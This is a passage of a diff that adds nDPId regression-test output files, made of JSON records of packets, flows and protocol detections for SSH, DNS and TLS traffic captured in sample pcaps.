+00449{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"ssh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1320435464,"pkt_ts_usec":768726,"pkt_caplen":87,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":87,"pkt_l4_len":53,"pkt":"AAwppUXgAFBWwAAICABFAABJ8QpAAEAGFNmsEO4BrBDuqOQbABY3Xn+rQqJ2TIAY\/\/86WQAAAQEIChyVr\/8AEyMBU1NILTIuMC1PcGVuU1NIXzUuNg0K"} +00753{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6,"source":"ssh.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":6,"flow_first_seen":1320435464760,"flow_last_seen":1320435464768,"flow_tot_l4_data_len":254,"flow_min_l4_data_len":32,"flow_max_l4_data_len":53,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.238.1","dst_ip":"172.16.238.168","src_port":58395,"dst_port":22,"l4_proto":"tcp","ndpi": {"flow_risk": {"18":"SSH Obsolete Client Version\/Cipher","19":"SSH Obsolete Server Version\/Cipher"},"proto":"SSH","breed":"Acceptable","category":"RemoteAccess"},"ssh": {"client_signature":"SSH-2.0-OpenSSH_5.3","server_signature":"SSH-2.0-OpenSSH_5.6","hassh_client":"","hassh_server":""}} +00421{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"ssh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1320435464,"pkt_ts_usec":769170,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AFBWwAAIAAwppUXgCABFAAA0VNBAAEAGsSisEO6orBDuAQAW5BtConZMN15\/wIAQAFv9rQAAAQEICgATIwIcla\/\/"} +01633{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"ssh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1320435464,"pkt_ts_usec":769196,"pkt_caplen":970,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":970,"pkt_l4_len":936,"pkt":"AAwppUXgAFBWwAAICABFAAO8JwpAAEAG22asEO4BrBDuqOQbABY3Xn\/AQqJ2TIAY\/\/8A3QAAAQEIChyVr\/8AEyMCAAADhAQUGLoxRxrO8i2IidbRRFAN9AAAAH5kaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAACDc3NoLXJzYS1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxzc2gtZHNzLWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1yc2EtY2VydC12MDBAb3BlbnNzaC5jb20sc3NoLWRzcy1jZXJ0LXYwMEBvcGVuc3NoLmNvbSxzc2gtcnNhLHNzaC1kc3MAAACdYWVzMTI4LWN0cixhZXMxOTItY3RyLGFlczI1Ni1jdHIsYXJjZm91cjI1NixhcmNmb3VyMTI4LGFlczEyOC1jYmMsM2Rlcy1jYmMsYmxvd2Zpc2gtY2JjLGNhc3QxMjgtY2JjLGFlczE5Mi1jYmMsYWVzMjU2LWNiYyxhcmNmb3VyLHJpam5kYWVsLWNiY0BseXNhdG9yLmxpdS5zZQAAAJ1hZXMxMjgtY3RyLGFlczE5Mi1jdHIsYWVzMjU2LWN0cixhcmNmb3VyMjU2LGFyY2ZvdXIxMjgsYWVzMTI4LWNiYywzZGVzLWNiYyxibG93ZmlzaC1jYmMsY2FzdDEyOC1jYmMsYWVzMTkyLWNiYyxhZXMyNTYtY2JjLGFyY2ZvdXIscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlAAAAaWhtYWMtbWQ1LGhtYWMtc2hhMSx1bWFjLTY0QG9wZW5zc2guY29tLGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tLGhtYWMtc2hhMS05NixobWFjLW1kNS05NgAAAGlobWFjLW1kNSxobWFjLXNoYTEsdW1hYy02NEBvcGVuc3NoLmNvbSxobWFjLXJpcGVtZDE2MCxobWFjLXJpcGVtZDE2MEBvcGVuc3NoLmNvbSxobWFjLXNoYTEtOTYsaG1hYy1tZDUtOTYAAAAabm9uZSx6bGliQG9wZW5zc2guY29tLHpsaWIAAAAabm9uZSx6bGliQG9wZW5zc2guY29tLHpsaWIAAAAAAAAAAAAAAAAAAAAAAA=="} +00788{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":8,"source":"ssh.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":8,"flow_first_seen":1320435464760,"flow_last_seen":1320435464769,"flow_tot_l4_data_len":1222,"flow_min_l4_data_len":32,"flow_max_l4_data_len":936,"flow_avg_l4_data_len":152,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.238.1","dst_ip":"172.16.238.168","src_port":58395,"dst_port":22,"l4_proto":"tcp","ndpi": {"flow_risk": {"18":"SSH Obsolete Client Version\/Cipher","19":"SSH Obsolete Server Version\/Cipher"},"proto":"SSH","breed":"Acceptable","category":"RemoteAccess"},"ssh": {"client_signature":"SSH-2.0-OpenSSH_5.3","server_signature":"SSH-2.0-OpenSSH_5.6","hassh_client":"21B457A327CE7A2D4FCE5EF2C42400BD","hassh_server":""}} +00420{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"ssh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1320435464,"pkt_ts_usec":769310,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AFBWwAAIAAwppUXgCABFAAA0VNFAAEAGsSesEO6orBDuAQAW5BtConZMN16DSIAQAHf6CQAAAQEICgATIwIcla\/\/"} +01474{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"ssh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1320435464,"pkt_ts_usec":770779,"pkt_caplen":850,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":850,"pkt_l4_len":816,"pkt":"AFBWwAAIAAwppUXgCABFAANEVNJAAEAGrhasEO6orBDuAQAW5BtConZMN16DSIAYAHfp7gAAAQEICgATIwMcla\/\/AAADDAoUAPIpTowp\/R3EVkG6Xa+q1wAAAH5kaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAAAPc3NoLXJzYSxzc2gtZHNzAAAAnWFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFyY2ZvdXIyNTYsYXJjZm91cjEyOCxhZXMxMjgtY2JjLDNkZXMtY2JjLGJsb3dmaXNoLWNiYyxjYXN0MTI4LWNiYyxhZXMxOTItY2JjLGFlczI1Ni1jYmMsYXJjZm91cixyaWpuZGFlbC1jYmNAbHlzYXRvci5saXUuc2UAAACdYWVzMTI4LWN0cixhZXMxOTItY3RyLGFlczI1Ni1jdHIsYXJjZm91cjI1NixhcmNmb3VyMTI4LGFlczEyOC1jYmMsM2Rlcy1jYmMsYmxvd2Zpc2gtY2JjLGNhc3QxMjgtY2JjLGFlczE5Mi1jYmMsYWVzMjU2LWNiYyxhcmNmb3VyLHJpam5kYWVsLWNiY0BseXNhdG9yLmxpdS5zZQAAAGlobWFjLW1kNSxobWFjLXNoYTEsdW1hYy02NEBvcGVuc3NoLmNvbSxobWFjLXJpcGVtZDE2MCxobWFjLXJpcGVtZDE2MEBvcGVuc3NoLmNvbSxobWFjLXNoYTEtOTYsaG1hYy1tZDUtOTYAAABpaG1hYy1tZDUsaG1hYy1zaGExLHVtYWMtNjRAb3BlbnNzaC5jb20saG1hYy1yaXBlbWQxNjAsaG1hYy1yaXBlbWQxNjBAb3BlbnNzaC5jb20saG1hYy1zaGExLTk2LGhtYWMtbWQ1LTk2AAAAFW5vbmUsemxpYkBvcGVuc3NoLmNvbQAAABVub25lLHpsaWJAb3BlbnNzaC5jb20AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00822{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":10,"source":"ssh.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":10,"flow_first_seen":1320435464760,"flow_last_seen":1320435464770,"flow_tot_l4_data_len":2070,"flow_min_l4_data_len":32,"flow_max_l4_data_len":936,"flow_avg_l4_data_len":207,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.238.1","dst_ip":"172.16.238.168","src_port":58395,"dst_port":22,"l4_proto":"tcp","ndpi": {"flow_risk": {"18":"SSH Obsolete Client Version\/Cipher","19":"SSH Obsolete Server Version\/Cipher"},"proto":"SSH","breed":"Acceptable","category":"RemoteAccess"},"ssh": {"client_signature":"SSH-2.0-OpenSSH_5.3","server_signature":"SSH-2.0-OpenSSH_5.6","hassh_client":"21B457A327CE7A2D4FCE5EF2C42400BD","hassh_server":"B1C6C0D56317555B85C7005A3DE29325"}} +00423{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"ssh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1320435464,"pkt_ts_usec":770807,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAwppUXgAFBWwAAICABFAAA02jNAAEAGK8WsEO4BrBDuqOQbABY3XoNIQqJ5XIAQ\/\/\/3bQAAAQEIChyVsAEAEyMD"} +00455{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"ssh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1320435464,"pkt_ts_usec":771113,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"AAwppUXgAFBWwAAICABFAABM0xtAAEAGMsWsEO4BrBDuqOQbABY3XoNIQqJ5XIAY\/\/\/JFwAAAQEIChyVsAEAEyMDAAAAFAYiAAAEAAAABAAAACAAAAAAAAAA"} +00628{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"ssh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1320435464,"pkt_ts_usec":772570,"pkt_caplen":218,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":218,"pkt_l4_len":184,"pkt":"AFBWwAAIAAwppUXgCABFAADMVNNAAEAGsI2sEO6orBDuAQAW5BtConlcN16DYIAYAHdn8wAAAQEICgATIwQclbABAAAAlAgfAAAAgQDeSfyQaZlMN50rZWPv03765nhe6x3QoSsJCqwnKyLfjGSkoqt7mc4Ld6mlLggz1S1TsljO3\/0XXcijdmqbmAc2JkbckhVijD9K8OCNAKtgo7nlW65H6CZR2gwVonNV3bBjZcrh3d5MDJfcmUL9ZemGf6UOcuHHhUEe3SjeJ0uzIwAAAAECAAAAAAAAAAA="} +00423{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"ssh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1320435464,"pkt_ts_usec":772673,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAwppUXgAFBWwAAICABFAAA0rWVAAEAGWJOsEO4BrBDuqOQbABY3XoNgQqJ59IAQ\/\/\/2uwAAAQEIChyVsAIAEyME"} +00617{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"ssh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1320435464,"pkt_ts_usec":774287,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AAwppUXgAFBWwAAICABFAADEyg1AAEAGO1usEO4BrBDuqOQbABY3XoNgQqJ59IAY\/\/+RQAAAAQEIChyVsAMAEyMEAAAAjAUgAAAAgQCKUG7tHgFITWPHoMxc4wuZ1BXy9n04qGBXJaOb+9wr70emYr8wHGq5ovMs7cviXyxxuF2Wdy30WLOfkouWkCplLGVZjdOTH0a5W2C9UmG80DhI+zr3en+DO3OfgxTtHr+gZJk6dXUbjvnH28419VgXWQUn69FtGg8SjApYMkgSUQAAAAAA"} diff --git a/test/results/starcraft_battle.pcap.out b/test/results/starcraft_battle.pcap.out new file mode 100644 index 000000000..c0a92a345 --- /dev/null +++ b/test/results/starcraft_battle.pcap.out @@ -0,0 +1,452 @@ +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1437389953643,"flow_last_seen":0,"flow_tot_l4_data_len":51,"flow_min_l4_data_len":51,"flow_max_l4_data_len":51,"flow_avg_l4_data_len":51,"midstream":1,"l3_proto":"ip4","src_ip":"192.30.252.91","dst_ip":"192.168.1.100","src_port":443,"dst_port":3213,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00461{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389953,"pkt_ts_usec":643103,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"IImEa8W6hCYVPnXECABFAABHZtpAAPMGok\/AHvxbwKgBZAG7DI12Mx9qhBzaXVAYAB\/+XQAAFwMDABrSe+rfqh1HHm09zJFdvf5O5AwaBTHDWE16Zg=="} +00467{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389953,"pkt_ts_usec":643311,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"hCYVPnXEIImEa8W6CABFAABLZZBAAIAGFpbAqAFkwB78WwyNAbuEHNpddjMfiVAYAP4NnAAAFwMDAB4AAAAAAAAAE\/\/36Dj9UZVbiDpZWB\/\/4P+7KR1Y0OI="} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1437389953741,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.254","src_port":58818,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00460{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389953,"pkt_ts_usec":741760,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"hCYVPnXEIImEa8W6CABFAABIX14AAIARVpTAqAFkwKgB\/uXCADUANEsbLmwBAAABAAAAAAAAAjkxAzI1MgIzMAMxOTIHaW4tYWRkcgRhcnBhAAAMAAE="} +00655{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1437389953741,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.254","src_port":58818,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"91.252.30.192.in-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00460{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389953,"pkt_ts_usec":742059,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"hCYVPnXEIImEa8W6CABFAABIX18AAIARVpPAqAFkwKgB\/uXCADUANO2f6I8BAAABAAAAAAAAAzEwMAExAzE2OAMxOTIHaW4tYWRkcgRhcnBhAAAMAAE="} +00676{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":4,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":2,"flow_first_seen":1437389953741,"flow_last_seen":1437389953742,"flow_tot_l4_data_len":104,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.254","src_port":58818,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"100.1.168.192.in-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00489{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389953,"pkt_ts_usec":743440,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"IImEa8W6hCYVPnXECABFAABcAABAAEARtd7AqAH+wKgBZAA15cIASF7P6I+BgAABAAEAAAAAAzEwMAExAzE2OAMxOTIHaW4tYWRkcgRhcnBhAAAMAAHADAAMAAEAAAAAAAgGbmItd2luAA=="} +00677{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":5,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":3,"flow_first_seen":1437389953741,"flow_last_seen":1437389953743,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":52,"flow_max_l4_data_len":72,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.254","src_port":58818,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"100.1.168.192.in-addr.arpa","num_queries":1,"num_answers":1,"reply_code":0,"query_type":12,"rsp_type":12,"rsp_addr":"0.0.0.0"}} +00423{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389953,"pkt_ts_usec":774618,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoZttAAPMGom3AHvxbwKgBZAG7DI12Mx+JhBzagFAQAB8ujQAAAAAAAAAA"} +00554{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389953,"pkt_ts_usec":805110,"pkt_caplen":154,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":154,"pkt_l4_len":120,"pkt":"IImEa8W6hCYVPnXECABFAACMAABAAEARta7AqAH+wKgBZAA15cIAeFi6LmyBgwABAAAAAQAAAjkxAzI1MgIzMAMxOTIHaW4tYWRkcgRhcnBhAAAMAAHADwAGAAEAAAA7ADgDbnMxA3AxNgZkeW5lY3QDbmV0AANvcHMGZ2l0aHViA2NvbQAAAAASAAAOEAAAAlgACTqAAAAAPA=="} +00678{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":7,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":4,"flow_first_seen":1437389953741,"flow_last_seen":1437389953805,"flow_tot_l4_data_len":296,"flow_min_l4_data_len":52,"flow_max_l4_data_len":120,"flow_avg_l4_data_len":74,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.254","src_port":58818,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"91.252.30.192.in-addr.arpa","num_queries":1,"num_answers":1,"reply_code":3,"query_type":12,"rsp_type":12,"rsp_addr":"0.0.0.0"}} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1437389954123,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"80.239.186.26","dst_ip":"192.168.1.100","src_port":443,"dst_port":3476,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389954,"pkt_ts_usec":123062,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAohUoAAPMGdW9Q77oawKgBZAG7DZT7ZyHlrZYt91AU9s3jwgAAAAAAAAAA"} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1437389954543,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.254","src_port":58831,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00460{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389954,"pkt_ts_usec":543028,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"hCYVPnXEIImEa8W6CABFAABIX2AAAIARVpLAqAFkwKgB\/uXPADUANOzD5FkBAAABAAAAAAAAAzI1NAExAzE2OAMxOTIHaW4tYWRkcgRhcnBhAAAMAAE="} +00655{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":9,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1437389954543,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.254","src_port":58831,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"254.1.168.192.in-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00461{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389954,"pkt_ts_usec":543322,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"hCYVPnXEIImEa8W6CABFAABIX2EAAIARVpHAqAFkwKgB\/uXPADUANAhuNT0BAAABAAAAAAAAAjI2AzE4NgMyMzkCODAHaW4tYWRkcgRhcnBhAAAMAAE="} +00460{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389954,"pkt_ts_usec":544145,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"IImEa8W6hCYVPnXECABFAABIAABAAEARtfLAqAH+wKgBZAA15c8ANGxA5FmBgwABAAAAAAAAAzI1NAExAzE2OAMxOTIHaW4tYWRkcgRhcnBhAAAMAAE="} +00677{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":11,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":3,"flow_first_seen":1437389954543,"flow_last_seen":1437389954544,"flow_tot_l4_data_len":156,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.254","src_port":58831,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"254.1.168.192.in-addr.arpa","num_queries":1,"num_answers":0,"reply_code":3,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00559{"flow_id":4,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389954,"pkt_ts_usec":714572,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"IImEa8W6hCYVPnXECABFAACRAABAAEARtanAqAH+wKgBZAA15c8AfYPVNT2BgAABAAIAAAAAAjI2AzE4NgMyMzkCODAHaW4tYWRkcgRhcnBhAAAMAAHADAAMAAEAAAAJABcGc2lnbnVwCndvdy1ldXJvcGUDY29tAMAMAAwAAQAAAAkAGg04MC0yMzktMTg2LTI2BmF0dGVucwNuZXQA"} +00679{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":12,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":4,"flow_first_seen":1437389954543,"flow_last_seen":1437389954714,"flow_tot_l4_data_len":281,"flow_min_l4_data_len":52,"flow_max_l4_data_len":125,"flow_avg_l4_data_len":70,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.254","src_port":58831,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"26.186.239.80.in-addr.arpa","num_queries":1,"num_answers":2,"reply_code":0,"query_type":12,"rsp_type":12,"rsp_addr":"0.0.0.0"}} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":13,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1437389955642,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"80.239.186.40","dst_ip":"192.168.1.100","src_port":443,"dst_port":3478,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389955,"pkt_ts_usec":642290,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAo31oAAPMGG1FQ77oowKgBZAG7DZa8aq6WRaVMa1AU+bLclgAAAAAAAAAA"} 